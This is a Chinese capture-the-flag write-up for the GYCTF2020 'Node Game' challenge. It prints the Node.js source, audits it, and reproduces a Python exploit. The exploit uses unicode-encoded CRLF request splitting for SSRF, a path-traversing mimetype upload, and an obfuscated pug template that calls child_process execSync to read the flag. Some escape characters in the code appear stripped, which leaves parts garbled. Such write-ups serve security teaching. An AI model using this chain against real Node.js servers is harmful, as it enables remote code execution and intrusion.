[GYCTF2020]Node Game-解题步骤详解

2022年5月7日18:46:49评论111 views字数 4023阅读13分24秒阅读模式

一道nodejs题，可以直接拿到源码

var express = require('express');var app = express();var fs = require('fs');var path = require('path');var http = require('http');var pug = require('pug');var morgan = require('morgan');const multer = require('multer');

app.use(multer({dest: './dist'}).array('file'));app.use(morgan('short'));app.use("/uploads",express.static(path.join(__dirname, '/uploads')))app.use("/template",express.static(path.join(__dirname, '/template')))

app.get('/', function(req, res) {    var action = req.query.action?req.query.action:"index";    if( action.includes("/") || action.includes("\") ){        res.send("Errrrr, You have been Blocked");    }    file = path.join(__dirname + '/template/'+ action +'.pug');    var html = pug.renderFile(file);    res.send(html);});
app.post('/file_upload', function(req, res){    var ip = req.connection.remoteAddress;    var obj = {        msg: '',    }    if (!ip.includes('127.0.0.1')) {        obj.msg="only admin's ip can use it"        res.send(JSON.stringify(obj));        return     }    fs.readFile(req.files[0].path, function(err, data){        if(err){            obj.msg = 'upload failed';            res.send(JSON.stringify(obj));        }else{            var file_path = '/uploads/' + req.files[0].mimetype +"/";            var file_name = req.files[0].originalname            var dir_file = __dirname + file_path + file_name            if(!fs.existsSync(__dirname + file_path)){                try {                    fs.mkdirSync(__dirname + file_path)                } catch (error) {                    obj.msg = "file type error";                    res.send(JSON.stringify(obj));                    return                }            }            try {                fs.writeFileSync(dir_file,data)                obj = {                    msg: 'upload success',                    filename: file_path + file_name                }             } catch (error) {                obj.msg = 'upload failed';            }            res.send(JSON.stringify(obj));            }    })})
app.get('/source', function(req, res) {    res.sendFile(path.join(__dirname + '/template/source.txt'));});

app.get('/core', function(req, res) {    var q = req.query.q;    var resp = "";    if (q) {        var url = 'http://localhost:8081/source?' + q        console.log(url)        var trigger = blacklist(url);        if (trigger === true) {            res.send("");        } else {            try {                http.get(url, function(resp) {                    resp.setEncoding('utf8');                    resp.on('error', function(err) {                    if (err.code === "ECONNRESET") {                     console.log("Timeout occurs");                     return;                    }                   });
                    resp.on('data', function(chunk) {                        try {                         resps = chunk.toString();                         res.send(resps);                        }catch (e) {                           res.send(e.message);                        }                     }).on('error', (e) => {                         res.send(e.message);});                });            } catch (error) {                console.log(error);            }        }    } else {        res.send("search param 'q' missing!");    }})
function blacklist(url) {    var evilwords = ["global", "process","mainModule","require","root","child_process","exec",""","'","!"];    var arrayLen = evilwords.length;    for (var i = 0; i < arrayLen; i++) {        const trigger = url.includes(evilwords[i]);        if (trigger === true) {            return true        }    }}
var server = app.listen(8081, function() {    var host = server.address().address    var port = server.address().port    console.log("Example app listening at http://%s:%s", host, port)})

简单的审计了一下，猜测利用点在这。

[GYCTF2020]Node Game-解题步骤详解

这里的action参数是我们可控的，结合文件上传界面，猜测是要想办法实现目录穿越，传文件到/template目录下之后利用pug.renderFile函数拿到flag。

在上传界面看到ip必须得是127.0.0.1才能进行上传。

[GYCTF2020]Node Game-解题步骤详解

看到这里，文件名和mimetype进行了拼接，所以目录穿越可以利用mimitype。

但是不知道怎么进行ssrf,看了这篇文章：

通过拆分攻击实现的SSRF攻击

网上抄的大佬的exp：

import requests
payload = """ HTTP/1.1Host: 127.0.0.1Connection: keep-alive
POST /file_upload HTTP/1.1Host: 127.0.0.1Content-Length: {}Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt
{}""".replace('n', 'rn')
body = """------WebKitFormBoundarysAs7bV3fMHq0JXUtContent-Disposition: form-data; name="file"; filename="lethe.pug"Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")-return x------WebKitFormBoundarysAs7bV3fMHq0JXUt--
""".replace('n', 'rn')
payload = payload.format(len(body), body)     .replace('+', 'u012b')                 .replace(' ', 'u0120')                 .replace('rn', 'u010du010a')        .replace('"', 'u0122')                 .replace("'", 'u0a27')                 .replace('[', 'u015b')                 .replace(']', 'u015d')     + 'GET' + 'u0120' + '/'
requests.get(    'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/core?q=' + payload)
print(requests.get(    'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/?action=lethe').text)